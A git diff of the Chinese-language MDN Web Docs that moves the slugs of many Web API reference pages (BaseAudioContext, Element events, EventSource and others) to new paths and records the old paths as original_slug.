    diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html index 2d29213737..6a8e5b70fc 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.createBuffer() -slug: Web/API/AudioContext/createBuffer +slug: Web/API/BaseAudioContext/createBuffer tags: - 创建音频片段 - 接口 - 方法 - 音频环境 translation_of: Web/API/BaseAudioContext/createBuffer +original_slug: Web/API/AudioContext/createBuffer ---

    音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html index 5244513312..701ca8e220 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.createBufferSource() -slug: Web/API/AudioContext/createBufferSource +slug: Web/API/BaseAudioContext/createBufferSource tags: - API - 音源 - 音频源 - 音频节点 translation_of: Web/API/BaseAudioContext/createBufferSource +original_slug: Web/API/AudioContext/createBufferSource ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html index 281dcddfe7..2031548322 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.createChannelMerger() -slug: Web/API/AudioContext/createChannelMerger +slug: Web/API/BaseAudioContext/createChannelMerger tags: - API - Audio - AudioContext - Audio_Chinese translation_of: Web/API/BaseAudioContext/createChannelMerger +original_slug: Web/API/AudioContext/createChannelMerger ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html index f46f5be2c5..37c482b6fd 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createChannelSplitter() -slug: Web/API/AudioContext/createChannelSplitter +slug: Web/API/BaseAudioContext/createChannelSplitter translation_of: Web/API/BaseAudioContext/createChannelSplitter +original_slug: Web/API/AudioContext/createChannelSplitter ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html index 2cbe395edc..ae97d90aac 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createConvolver() -slug: Web/API/AudioContext/createConvolver +slug: Web/API/BaseAudioContext/createConvolver translation_of: Web/API/BaseAudioContext/createConvolver +original_slug: Web/API/AudioContext/createConvolver ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html index b8e502758d..baae047758 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createDelay() -slug: Web/API/AudioContext/createDelay +slug: Web/API/BaseAudioContext/createDelay translation_of: Web/API/BaseAudioContext/createDelay +original_slug: Web/API/AudioContext/createDelay ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html index 7e505bc06a..e8c722c908 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createScriptProcessor() -slug: Web/API/AudioContext/createScriptProcessor +slug: Web/API/BaseAudioContext/createScriptProcessor translation_of: Web/API/BaseAudioContext/createScriptProcessor +original_slug: Web/API/AudioContext/createScriptProcessor ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html index 7aef8d5688..10986c407e 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createWaveShaper() -slug: Web/API/AudioContext/createWaveShaper +slug: Web/API/BaseAudioContext/createWaveShaper translation_of: Web/API/BaseAudioContext/createWaveShaper +original_slug: Web/API/AudioContext/createWaveShaper ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html index fbdaf4315c..57e190cb46 100644 --- a/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.currentTime -slug: Web/API/AudioContext/currentTime +slug: Web/API/BaseAudioContext/currentTime translation_of: Web/API/BaseAudioContext/currentTime +original_slug: Web/API/AudioContext/currentTime ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html index 40693fd8cc..9200638c57 100644 --- a/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.decodeAudioData() -slug: Web/API/AudioContext/decodeAudioData +slug: Web/API/BaseAudioContext/decodeAudioData tags: - API - Audio - audio接口 - 音频解码 translation_of: Web/API/BaseAudioContext/decodeAudioData +original_slug: Web/API/AudioContext/decodeAudioData ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/destination/index.html b/files/zh-cn/web/api/baseaudiocontext/destination/index.html index 04fdfe8247..c1ebabfc81 100644 --- a/files/zh-cn/web/api/baseaudiocontext/destination/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/destination/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.destination -slug: Web/API/AudioContext/destination +slug: Web/API/BaseAudioContext/destination translation_of: Web/API/BaseAudioContext/destination +original_slug: Web/API/AudioContext/destination ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/listener/index.html b/files/zh-cn/web/api/baseaudiocontext/listener/index.html index 81b2a730a2..64e97d31cc 100644 --- a/files/zh-cn/web/api/baseaudiocontext/listener/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/listener/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.listener -slug: Web/API/AudioContext/listener +slug: Web/API/BaseAudioContext/listener translation_of: Web/API/BaseAudioContext/listener +original_slug: Web/API/AudioContext/listener ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html index ee9b3f21c0..b2ee0a7463 100644 --- a/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.onstatechange -slug: Web/API/AudioContext/onstatechange +slug: Web/API/BaseAudioContext/onstatechange translation_of: Web/API/BaseAudioContext/onstatechange +original_slug: Web/API/AudioContext/onstatechange ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html index b811702e26..d888951ef6 100644 --- a/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.sampleRate -slug: Web/API/AudioContext/sampleRate +slug: Web/API/BaseAudioContext/sampleRate translation_of: Web/API/BaseAudioContext/sampleRate +original_slug: Web/API/AudioContext/sampleRate ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/state/index.html b/files/zh-cn/web/api/baseaudiocontext/state/index.html index 97876f5d3d..df6b383bc9 100644 --- a/files/zh-cn/web/api/baseaudiocontext/state/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/state/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.state -slug: Web/API/AudioContext/state +slug: Web/API/BaseAudioContext/state translation_of: Web/API/BaseAudioContext/state +original_slug: Web/API/AudioContext/state ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/broadcastchannel/message_event/index.html b/files/zh-cn/web/api/broadcastchannel/message_event/index.html index ccbd2d9859..9b89d2bd63 100644 --- a/files/zh-cn/web/api/broadcastchannel/message_event/index.html +++ b/files/zh-cn/web/api/broadcastchannel/message_event/index.html @@ -1,11 +1,12 @@ --- title: 'BroadcastChannel: message event' -slug: Web/Events/message +slug: Web/API/BroadcastChannel/message_event tags: - 事件 - 消息 - 通信 translation_of: Web/API/BroadcastChannel/message_event +original_slug: Web/Events/message ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html index 1a71e7d834..a6a2e34ccc 100644 --- a/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html +++ b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html @@ -1,7 +1,8 @@ --- title: CanvasCaptureMediaStream -slug: Web/API/CanvasCaptureMediaStream +slug: Web/API/CanvasCaptureMediaStreamTrack translation_of: Web/API/CanvasCaptureMediaStreamTrack +original_slug: Web/API/CanvasCaptureMediaStream ---
    {{APIRef}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html index 8ddfa8df8e..fb81f88093 100644 --- a/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html +++ b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html @@ -1,6 +1,6 @@ --- title: 使用 channel messaging -slug: Web/API/Channel_Messaging_API/使用_channel_messaging +slug: Web/API/Channel_Messaging_API/Using_channel_messaging tags: - API - Channel messaging @@ -9,6 +9,7 @@ tags: - MessagePort - 指南 translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +original_slug: Web/API/Channel_Messaging_API/使用_channel_messaging ---

    {{DefaultAPISidebar("Channel Messaging API")}}

    diff --git a/files/zh-cn/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/web/api/crypto/getrandomvalues/index.html index 5df5fb0a83..504ab67343 100644 --- a/files/zh-cn/web/api/crypto/getrandomvalues/index.html +++ b/files/zh-cn/web/api/crypto/getrandomvalues/index.html @@ -1,6 +1,6 @@ --- title: Crypto.getRandomValues() -slug: Web/API/RandomSource/getRandomValues +slug: Web/API/Crypto/getRandomValues tags: - API - 加密 @@ -9,6 +9,7 @@ tags: - 密码学 - 方法 translation_of: Web/API/Crypto/getRandomValues +original_slug: Web/API/RandomSource/getRandomValues ---

    {{APIRef("Web Crypto API")}}

    diff --git a/files/zh-cn/web/api/csspagerule/index.html b/files/zh-cn/web/api/csspagerule/index.html index ff1d047a59..750765aa1d 100644 --- a/files/zh-cn/web/api/csspagerule/index.html +++ b/files/zh-cn/web/api/csspagerule/index.html @@ -1,7 +1,8 @@ --- title: CSS分页规则 -slug: Web/API/CSS分页规则 +slug: Web/API/CSSPageRule translation_of: Web/API/CSSPageRule +original_slug: Web/API/CSS分页规则 ---
    {{APIRef("CSSOM")}}
    diff --git a/files/zh-cn/web/api/devicemotioneventacceleration/index.html b/files/zh-cn/web/api/devicemotioneventacceleration/index.html index 34b215d781..a278374222 100644 --- a/files/zh-cn/web/api/devicemotioneventacceleration/index.html +++ b/files/zh-cn/web/api/devicemotioneventacceleration/index.html @@ -1,6 +1,6 @@ --- title: DeviceAcceleration -slug: Web/API/DeviceAcceleration +slug: Web/API/DeviceMotionEventAcceleration tags: - API - 传感器 @@ -9,6 +9,7 @@ tags: - 需要示例 translation_of: Web/API/DeviceMotionEventAcceleration translation_of_original: Web/API/DeviceAcceleration +original_slug: Web/API/DeviceAcceleration ---
    {{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/document/fullscreen/index.html b/files/zh-cn/web/api/document/fullscreen/index.html index eb15adcede..f1d6edc436 100644 --- a/files/zh-cn/web/api/document/fullscreen/index.html +++ b/files/zh-cn/web/api/document/fullscreen/index.html @@ -1,7 +1,8 @@ --- title: document.mozFullScreen -slug: Web/API/Document/mozFullScreen +slug: Web/API/Document/fullscreen translation_of: Web/API/Document/fullscreen +original_slug: Web/API/Document/mozFullScreen ---

     

    diff --git a/files/zh-cn/web/api/document/fullscreenenabled/index.html b/files/zh-cn/web/api/document/fullscreenenabled/index.html index 248797541a..244abe8e26 100644 --- a/files/zh-cn/web/api/document/fullscreenenabled/index.html +++ b/files/zh-cn/web/api/document/fullscreenenabled/index.html @@ -1,7 +1,8 @@ --- title: document.mozFullScreenEnabled -slug: Web/API/Document/mozFullScreenEnabled +slug: Web/API/Document/fullscreenEnabled translation_of: Web/API/Document/fullscreenEnabled +original_slug: Web/API/Document/mozFullScreenEnabled ---

    {{ ApiRef() }}

    概述

    diff --git a/files/zh-cn/web/api/document/onafterscriptexecute/index.html b/files/zh-cn/web/api/document/onafterscriptexecute/index.html index f1e976522e..74bd826004 100644 --- a/files/zh-cn/web/api/document/onafterscriptexecute/index.html +++ b/files/zh-cn/web/api/document/onafterscriptexecute/index.html @@ -1,10 +1,11 @@ --- title: element.onafterscriptexecute -slug: Web/API/Element/onafterscriptexecute +slug: Web/API/Document/onafterscriptexecute tags: - DOM - onafterscriptexecute translation_of: Web/API/Document/onafterscriptexecute +original_slug: Web/API/Element/onafterscriptexecute ---
    {{ApiRef}}{{gecko_minversion_header("2")}}
    diff --git a/files/zh-cn/web/api/document/readystatechange_event/index.html b/files/zh-cn/web/api/document/readystatechange_event/index.html index a4f95498ad..769a0cd3c5 100644 --- a/files/zh-cn/web/api/document/readystatechange_event/index.html +++ b/files/zh-cn/web/api/document/readystatechange_event/index.html @@ -1,12 +1,13 @@ --- title: 'Document: readystatechange 事件' -slug: Web/Events/readystatechange事件 +slug: Web/API/Document/readystatechange_event tags: - Reference - XMLHttpRequest - interactive - 事件 translation_of: Web/API/Document/readystatechange_event +original_slug: Web/Events/readystatechange事件 ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/document/touchmove_event/index.html b/files/zh-cn/web/api/document/touchmove_event/index.html index 1321a0c4d2..47cfa0fb7b 100644 --- a/files/zh-cn/web/api/document/touchmove_event/index.html +++ b/files/zh-cn/web/api/document/touchmove_event/index.html @@ -1,7 +1,8 @@ --- title: touchmove -slug: Web/API/Document/rouchmove_event +slug: Web/API/Document/touchmove_event translation_of: Web/API/Document/touchmove_event +original_slug: Web/API/Document/rouchmove_event ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html index 9d18892707..79d442f4e6 100644 --- a/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html +++ b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html @@ -1,10 +1,12 @@ --- title: 使用Javascript和DOM Interfaces来处理HTML -slug: 使用Javascript和DOM_Interfaces来处理HTML +slug: >- + Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces tags: - DOM translation_of: >- Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +original_slug: 使用Javascript和DOM_Interfaces来处理HTML ---

    简介

    diff --git a/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html index d87cd89683..d26c1b85df 100644 --- a/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html +++ b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html @@ -1,7 +1,8 @@ --- title: document.mozFullScreenElement -slug: Web/API/Document/mozFullScreenElement +slug: Web/API/DocumentOrShadowRoot/fullscreenElement translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +original_slug: Web/API/Document/mozFullScreenElement ---

    {{ ApiRef() }}

    概述

    diff --git a/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html index eb6ed9cf98..38702632bd 100644 --- a/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html +++ b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html @@ -1,7 +1,8 @@ --- title: Document.pointerLockElement -slug: Web/API/Document/pointerLockElement +slug: Web/API/DocumentOrShadowRoot/pointerLockElement translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +original_slug: Web/API/Document/pointerLockElement ---
    {{APIRef("DOM")}}
    diff --git a/files/zh-cn/web/api/element/afterscriptexecute_event/index.html b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html index b2f4f0d980..bf7f503f53 100644 --- a/files/zh-cn/web/api/element/afterscriptexecute_event/index.html +++ b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html @@ -1,11 +1,12 @@ --- title: Element:afterscriptexecute 事件 -slug: Web/Events/afterscriptexecute +slug: Web/API/Element/afterscriptexecute_event tags: - 事件 - 参考 - 非标准 translation_of: Web/API/Element/afterscriptexecute_event +original_slug: Web/Events/afterscriptexecute ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/element/beforescriptexecute_event/index.html b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html index 00aa4120c1..0097f13ce6 100644 --- a/files/zh-cn/web/api/element/beforescriptexecute_event/index.html +++ b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html @@ -1,11 +1,12 @@ --- title: Element:beforescriptexecute 事件 -slug: Web/Events/beforescriptexecute +slug: Web/API/Element/beforescriptexecute_event tags: - DOM - 参考 - 非标准 translation_of: Web/API/Element/beforescriptexecute_event +original_slug: Web/Events/beforescriptexecute ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/element/blur_event/index.html b/files/zh-cn/web/api/element/blur_event/index.html index a57cc5b995..a072ec452b 100644 --- a/files/zh-cn/web/api/element/blur_event/index.html +++ b/files/zh-cn/web/api/element/blur_event/index.html @@ -1,7 +1,8 @@ --- title: blur (event) -slug: Web/Events/blur +slug: Web/API/Element/blur_event translation_of: Web/API/Element/blur_event +original_slug: Web/Events/blur ---

    当一个元素失去焦点的时候 blur 事件被触发。它和 focusout 事件的主要区别是 focusout 支持冒泡。

    diff --git a/files/zh-cn/web/api/element/compositionend_event/index.html b/files/zh-cn/web/api/element/compositionend_event/index.html index 4a023fc0e5..a6f99fdb23 100644 --- a/files/zh-cn/web/api/element/compositionend_event/index.html +++ b/files/zh-cn/web/api/element/compositionend_event/index.html @@ -1,9 +1,10 @@ --- title: compositionend -slug: Web/Events/compositionend +slug: Web/API/Element/compositionend_event tags: - 事件 translation_of: Web/API/Element/compositionend_event +original_slug: Web/Events/compositionend ---

    当文本段落的组成完成或取消时, compositionend 事件将被触发 (具有特殊字符的触发, 需要一系列键和其他输入, 如语音识别或移动中的字词建议)。

    diff --git a/files/zh-cn/web/api/element/compositionstart_event/index.html b/files/zh-cn/web/api/element/compositionstart_event/index.html index 71aa9f1f0d..3997c0b7b1 100644 --- a/files/zh-cn/web/api/element/compositionstart_event/index.html +++ b/files/zh-cn/web/api/element/compositionstart_event/index.html @@ -1,6 +1,6 @@ --- title: compositionstart -slug: Web/Events/compositionstart +slug: Web/API/Element/compositionstart_event tags: - Element - Event @@ -9,6 +9,7 @@ tags: - 事件 - 参考 translation_of: Web/API/Element/compositionstart_event +original_slug: Web/Events/compositionstart ---

    文本合成系统如 {{glossary("input method editor")}}(即输入法编辑器)开始新的输入合成时会触发 compositionstart 事件。

    diff --git a/files/zh-cn/web/api/element/compositionupdate_event/index.html b/files/zh-cn/web/api/element/compositionupdate_event/index.html index 11952af506..af46b6cfdb 100644 --- a/files/zh-cn/web/api/element/compositionupdate_event/index.html +++ b/files/zh-cn/web/api/element/compositionupdate_event/index.html @@ -1,7 +1,8 @@ --- title: compositionupdate -slug: Web/Events/compositionupdate +slug: Web/API/Element/compositionupdate_event translation_of: Web/API/Element/compositionupdate_event +original_slug: Web/Events/compositionupdate ---

    compositionupdate 事件触发于字符被输入到一段文字的时候(这些可见字符的输入可能需要一连串的键盘操作、语音识别或者点击输入法的备选词)

    diff --git a/files/zh-cn/web/api/element/copy_event/index.html b/files/zh-cn/web/api/element/copy_event/index.html index ac249f5055..9c705e1de4 100644 --- a/files/zh-cn/web/api/element/copy_event/index.html +++ b/files/zh-cn/web/api/element/copy_event/index.html @@ -1,11 +1,12 @@ --- title: copy -slug: Web/Events/copy +slug: Web/API/Element/copy_event tags: - Clipboard API - Event - Reference translation_of: Web/API/Element/copy_event +original_slug: Web/Events/copy ---

    当用户通过浏览器UI(例如,使用 Ctrl/+C  键盘快捷方式或从菜单中选择“复制”)启动复制操作并响应允许的{{domxref("Document.execCommand","document.execCommand('copy')")}}调用时触发copy事件。

    diff --git a/files/zh-cn/web/api/element/cut_event/index.html b/files/zh-cn/web/api/element/cut_event/index.html index 48c024451a..ea59997633 100644 --- a/files/zh-cn/web/api/element/cut_event/index.html +++ b/files/zh-cn/web/api/element/cut_event/index.html @@ -1,11 +1,12 @@ --- title: cut -slug: Web/Events/cut +slug: Web/API/Element/cut_event tags: - 事件 - 剪贴板API - 参考 translation_of: Web/API/Element/cut_event +original_slug: Web/Events/cut ---

    This page needs to be updated to match the currently specified behaviour. In the meantime please refer to the specification: https://www.w3.org/TR/clipboard-apis/#the-cut-action

    diff --git a/files/zh-cn/web/api/element/domactivate_event/index.html b/files/zh-cn/web/api/element/domactivate_event/index.html index 3185540e78..b0f129f8cc 100644 --- a/files/zh-cn/web/api/element/domactivate_event/index.html +++ b/files/zh-cn/web/api/element/domactivate_event/index.html @@ -1,11 +1,12 @@ --- title: 'Element: DOMActivate event' -slug: Web/API/Element/Activate_event +slug: Web/API/Element/DOMActivate_event tags: - API - 事件 - 参考 translation_of: Web/API/Element/DOMActivate_event +original_slug: Web/API/Element/Activate_event ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/element/error_event/index.html b/files/zh-cn/web/api/element/error_event/index.html index 913caf76bf..3d14efef34 100644 --- a/files/zh-cn/web/api/element/error_event/index.html +++ b/files/zh-cn/web/api/element/error_event/index.html @@ -1,7 +1,8 @@ --- title: error -slug: Web/Events/error +slug: Web/API/Element/error_event translation_of: Web/API/Element/error_event +original_slug: Web/Events/error ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/element/focus_event/index.html b/files/zh-cn/web/api/element/focus_event/index.html index 4a93ee7726..ff4ebf6447 100644 --- a/files/zh-cn/web/api/element/focus_event/index.html +++ b/files/zh-cn/web/api/element/focus_event/index.html @@ -1,7 +1,8 @@ --- title: focus -slug: Web/Events/focus +slug: Web/API/Element/focus_event translation_of: Web/API/Element/focus_event +original_slug: Web/Events/focus ---

    focus事件在元素获取焦点时触发. 这个事件和 focusin 最大的区别仅仅在于后者会事件冒泡.

    diff --git a/files/zh-cn/web/api/element/focusout_event/index.html b/files/zh-cn/web/api/element/focusout_event/index.html index 87a8a9bd48..defd92146f 100644 --- a/files/zh-cn/web/api/element/focusout_event/index.html +++ b/files/zh-cn/web/api/element/focusout_event/index.html @@ -1,7 +1,8 @@ --- title: focusout -slug: Web/Events/focusout +slug: Web/API/Element/focusout_event translation_of: Web/API/Element/focusout_event +original_slug: Web/Events/focusout ---

    当元素即将失去焦点时,focusout 事件被触发。focusout 事件和 blur 事件之间的主要区别在于后者不会冒泡。

    diff --git a/files/zh-cn/web/api/element/mousewheel_event/index.html b/files/zh-cn/web/api/element/mousewheel_event/index.html index 599f17edbb..26649814ed 100644 --- a/files/zh-cn/web/api/element/mousewheel_event/index.html +++ b/files/zh-cn/web/api/element/mousewheel_event/index.html @@ -1,7 +1,8 @@ --- title: mousewheel -slug: Web/Events/mousewheel +slug: Web/API/Element/mousewheel_event translation_of: Web/API/Element/mousewheel_event +original_slug: Web/Events/mousewheel ---

    {{ Non-standard_header() }}

    diff --git a/files/zh-cn/web/api/element/paste_event/index.html b/files/zh-cn/web/api/element/paste_event/index.html index 1fb088eddf..e303cd4697 100644 --- a/files/zh-cn/web/api/element/paste_event/index.html +++ b/files/zh-cn/web/api/element/paste_event/index.html @@ -1,11 +1,12 @@ --- title: 'Element: paste事件' -slug: Web/Events/paste +slug: Web/API/Element/paste_event tags: - Clipboard API - Event - Reference translation_of: Web/API/Element/paste_event +original_slug: Web/Events/paste ---

     {{APIRef}}

    diff --git a/files/zh-cn/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html index 2b825c80cc..28248babe1 100644 --- a/files/zh-cn/web/api/elementcssinlinestyle/style/index.html +++ b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html @@ -1,7 +1,8 @@ --- title: HTMLElement.style -slug: Web/API/HTMLElement/style +slug: Web/API/ElementCSSInlineStyle/style translation_of: Web/API/ElementCSSInlineStyle/style +original_slug: Web/API/HTMLElement/style ---
    {{ APIRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/event/cancelbubble/index.html b/files/zh-cn/web/api/event/cancelbubble/index.html index c228d329d6..e87685b269 100644 --- a/files/zh-cn/web/api/event/cancelbubble/index.html +++ b/files/zh-cn/web/api/event/cancelbubble/index.html @@ -1,9 +1,10 @@ --- title: Event.cancelBubble -slug: Web/API/Event/禁用时间冒泡 +slug: Web/API/Event/cancelBubble tags: - 事件 translation_of: Web/API/Event/cancelBubble +original_slug: Web/API/Event/禁用时间冒泡 ---

    {{APIRef("DOM Events")}} 

    diff --git a/files/zh-cn/web/api/eventsource/close/index.html b/files/zh-cn/web/api/eventsource/close/index.html index 3b8af5d6d3..424e609656 100644 --- a/files/zh-cn/web/api/eventsource/close/index.html +++ b/files/zh-cn/web/api/eventsource/close/index.html @@ -1,7 +1,8 @@ --- title: EventSource.close() -slug: Server-sent_events/EventSource/close +slug: Web/API/EventSource/close translation_of: Web/API/EventSource/close +original_slug: Server-sent_events/EventSource/close ---
    {{APIRef('WebSockets API')}}
    diff --git a/files/zh-cn/web/api/eventsource/eventsource/index.html b/files/zh-cn/web/api/eventsource/eventsource/index.html index a93b5eb8b2..d228a4768d 100644 --- a/files/zh-cn/web/api/eventsource/eventsource/index.html +++ b/files/zh-cn/web/api/eventsource/eventsource/index.html @@ -1,11 +1,12 @@ --- title: EventSource() -slug: Server-sent_events/EventSource/EventSource +slug: Web/API/EventSource/EventSource tags: - API - EventSource - Server-sent events translation_of: Web/API/EventSource/EventSource +original_slug: Server-sent_events/EventSource/EventSource ---

    {{APIRef('WebSockets API')}}

    diff --git a/files/zh-cn/web/api/eventsource/index.html b/files/zh-cn/web/api/eventsource/index.html index 977bf56d90..55a81c56ef 100644 --- a/files/zh-cn/web/api/eventsource/index.html +++ b/files/zh-cn/web/api/eventsource/index.html @@ -1,11 +1,12 @@ --- title: EventSource -slug: Server-sent_events/EventSource +slug: Web/API/EventSource tags: - API - Server-sent events - 参考 translation_of: Web/API/EventSource +original_slug: Server-sent_events/EventSource ---

    {{APIRef("Websockets API")}}

    diff --git a/files/zh-cn/web/api/eventsource/onerror/index.html b/files/zh-cn/web/api/eventsource/onerror/index.html index ad24259a4e..dbc9dc3e2c 100644 --- a/files/zh-cn/web/api/eventsource/onerror/index.html +++ b/files/zh-cn/web/api/eventsource/onerror/index.html @@ -1,7 +1,8 @@ --- title: EventSource.onerror -slug: Server-sent_events/EventSource/onerror +slug: Web/API/EventSource/onerror translation_of: Web/API/EventSource/onerror +original_slug: Server-sent_events/EventSource/onerror ---
    {{APIRef('WebSockets API')}}
    diff --git a/files/zh-cn/web/api/eventsource/onopen/index.html b/files/zh-cn/web/api/eventsource/onopen/index.html index dfc47bbf4e..9a4668264a 100644 --- a/files/zh-cn/web/api/eventsource/onopen/index.html +++ b/files/zh-cn/web/api/eventsource/onopen/index.html @@ -1,11 +1,12 @@ --- title: EventSource.onopen -slug: Server-sent_events/EventSource/onopen +slug: Web/API/EventSource/onopen tags: - API - Event Handler - EventSource translation_of: Web/API/EventSource/onopen +original_slug: Server-sent_events/EventSource/onopen ---
    {{APIRef('WebSockets API')}}
